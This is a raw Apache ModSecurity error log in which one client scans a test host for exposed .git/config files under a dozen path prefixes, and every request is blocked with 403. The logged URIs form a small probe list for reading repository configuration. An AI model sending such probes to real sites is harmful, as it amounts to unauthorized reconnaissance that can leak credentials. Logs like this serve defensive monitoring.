[Mon Jul 17 02:19:51.786476 2023] [:error] [pid 673785] [client 3.143.209.15:52526] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.git/config&quot;] [unique_id &quot;ZLSJJzQiEmrnsFR88eZLagAAAAU&quot;]
[Mon Jul 17 02:19:51.786616 2023] [:error] [pid 673785] [client 3.143.209.15:52526] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.git/config&quot;] [unique_id &quot;ZLSJJzQiEmrnsFR88eZLagAAAAU&quot;]
[Mon Jul 17 02:19:51.792290 2023] [:error] [pid 673639] [client 3.143.209.15:52532] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /public/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.git/config&quot;] [unique_id &quot;ZLSJJ3TUyDq7zN9MWDuSewAAAAQ&quot;]
[Mon Jul 17 02:19:51.792494 2023] [:error] [pid 673639] [client 3.143.209.15:52532] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.git/config&quot;] [unique_id &quot;ZLSJJ3TUyDq7zN9MWDuSewAAAAQ&quot;]
[Mon Jul 17 02:19:51.792637 2023] [:error] [pid 673639] [client 3.143.209.15:52532] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.git/config&quot;] [unique_id &quot;ZLSJJ3TUyDq7zN9MWDuSewAAAAQ&quot;]
[Mon Jul 17 02:19:51.793900 2023] [:error] [pid 673638] [client 3.143.209.15:52548] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets../.git/config&quot;] [unique_id &quot;ZLSJJ6f8b0BmNA89Kdw_aAAAAAM&quot;]
[Mon Jul 17 02:19:51.794069 2023] [:error] [pid 673638] [client 3.143.209.15:52548] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets../.git/config&quot;] [unique_id &quot;ZLSJJ6f8b0BmNA89Kdw_aAAAAAM&quot;]
[Mon Jul 17 02:19:51.794189 2023] [:error] [pid 673638] [client 3.143.209.15:52548] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets../.git/config&quot;] [unique_id &quot;ZLSJJ6f8b0BmNA89Kdw_aAAAAAM&quot;]
[Mon Jul 17 02:19:51.796410 2023] [:error] [pid 673636] [client 3.143.209.15:52570] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib../.git/config&quot;] [unique_id &quot;ZLSJJz4zPyLpySdBdU6pZwAAAAE&quot;]
[Mon Jul 17 02:19:51.796616 2023] [:error] [pid 673636] [client 3.143.209.15:52570] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib../.git/config&quot;] [unique_id &quot;ZLSJJz4zPyLpySdBdU6pZwAAAAE&quot;]
[Mon Jul 17 02:19:51.796740 2023] [:error] [pid 673636] [client 3.143.209.15:52570] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib../.git/config&quot;] [unique_id &quot;ZLSJJz4zPyLpySdBdU6pZwAAAAE&quot;]
[Mon Jul 17 02:19:51.808659 2023] [:error] [pid 673635] [client 3.143.209.15:52558] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content../.git/config&quot;] [unique_id &quot;ZLSJJ-qR2JONb5tmzF-nbwAAAAA&quot;]
[Mon Jul 17 02:19:51.808826 2023] [:error] [pid 673635] [client 3.143.209.15:52558] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content../.git/config&quot;] [unique_id &quot;ZLSJJ-qR2JONb5tmzF-nbwAAAAA&quot;]
[Mon Jul 17 02:19:51.808948 2023] [:error] [pid 673635] [client 3.143.209.15:52558] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content../.git/config&quot;] [unique_id &quot;ZLSJJ-qR2JONb5tmzF-nbwAAAAA&quot;]
[Mon Jul 17 02:19:51.820010 2023] [:error] [pid 673637] [client 3.143.209.15:52556] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/events../.git/config&quot;] [unique_id &quot;ZLSJJ4ZYX_VnrzSUhoVlRAAAAAI&quot;]
[Mon Jul 17 02:19:51.820171 2023] [:error] [pid 673637] [client 3.143.209.15:52556] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/events../.git/config&quot;] [unique_id &quot;ZLSJJ4ZYX_VnrzSUhoVlRAAAAAI&quot;]
[Mon Jul 17 02:19:51.820287 2023] [:error] [pid 673637] [client 3.143.209.15:52556] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/events../.git/config&quot;] [unique_id &quot;ZLSJJ4ZYX_VnrzSUhoVlRAAAAAI&quot;]
[Mon Jul 17 02:19:51.869283 2023] [:error] [pid 674855] [client 3.143.209.15:52572] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/media../.git/config&quot;] [unique_id &quot;ZLSJJ74FjXGmLhvm8jrduAAAAAc&quot;]
[Mon Jul 17 02:19:51.869462 2023] [:error] [pid 674855] [client 3.143.209.15:52572] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/media../.git/config&quot;] [unique_id &quot;ZLSJJ74FjXGmLhvm8jrduAAAAAc&quot;]
[Mon Jul 17 02:19:51.869591 2023] [:error] [pid 674855] [client 3.143.209.15:52572] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/media../.git/config&quot;] [unique_id &quot;ZLSJJ74FjXGmLhvm8jrduAAAAAc&quot;]
[Mon Jul 17 02:19:52.020257 2023] [:error] [pid 674854] [client 3.143.209.15:52578] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /live/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/live/.git/config&quot;] [unique_id &quot;ZLSJKC-vjPWa8Z17cvt-lgAAAAY&quot;]
[Mon Jul 17 02:19:52.023736 2023] [:error] [pid 674854] [client 3.143.209.15:52578] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/live/.git/config&quot;] [unique_id &quot;ZLSJKC-vjPWa8Z17cvt-lgAAAAY&quot;]
[Mon Jul 17 02:19:52.023893 2023] [:error] [pid 674854] [client 3.143.209.15:52578] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/live/.git/config&quot;] [unique_id &quot;ZLSJKC-vjPWa8Z17cvt-lgAAAAY&quot;]
[Mon Jul 17 02:19:52.027919 2023] [:error] [pid 673785] [client 3.143.209.15:52592] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZLSJKDQiEmrnsFR88eZLawAAAAU&quot;]
[Mon Jul 17 02:19:52.028115 2023] [:error] [pid 673785] [client 3.143.209.15:52592] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZLSJKDQiEmrnsFR88eZLawAAAAU&quot;]
[Mon Jul 17 02:19:52.028265 2023] [:error] [pid 673785] [client 3.143.209.15:52592] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZLSJKDQiEmrnsFR88eZLawAAAAU&quot;]
[Mon Jul 17 02:19:52.029476 2023] [:error] [pid 673636] [client 3.143.209.15:52614] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v1/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v1/.git/config&quot;] [unique_id &quot;ZLSJKD4zPyLpySdBdU6paAAAAAE&quot;]
[Mon Jul 17 02:19:52.029650 2023] [:error] [pid 673636] [client 3.143.209.15:52614] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v1/.git/config&quot;] [unique_id &quot;ZLSJKD4zPyLpySdBdU6paAAAAAE&quot;]
[Mon Jul 17 02:19:52.029770 2023] [:error] [pid 673636] [client 3.143.209.15:52614] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v1/.git/config&quot;] [unique_id &quot;ZLSJKD4zPyLpySdBdU6paAAAAAE&quot;]
[Mon Jul 17 02:19:52.030790 2023] [:error] [pid 673639] [client 3.143.209.15:52628] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /vendor/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.git/config&quot;] [unique_id &quot;ZLSJKHTUyDq7zN9MWDuSfAAAAAQ&quot;]
[Mon Jul 17 02:19:52.030940 2023] [:error] [pid 673639] [client 3.143.209.15:52628] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.git/config&quot;] [unique_id &quot;ZLSJKHTUyDq7zN9MWDuSfAAAAAQ&quot;]
[Mon Jul 17 02:19:52.031058 2023] [:error] [pid 673639] [client 3.143.209.15:52628] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.git/config&quot;] [unique_id &quot;ZLSJKHTUyDq7zN9MWDuSfAAAAAQ&quot;]
[Mon Jul 17 02:19:52.031996 2023] [:error] [pid 673638] [client 3.143.209.15:52608] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /user/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.git/config&quot;] [unique_id &quot;ZLSJKKf8b0BmNA89Kdw_aQAAAAM&quot;]
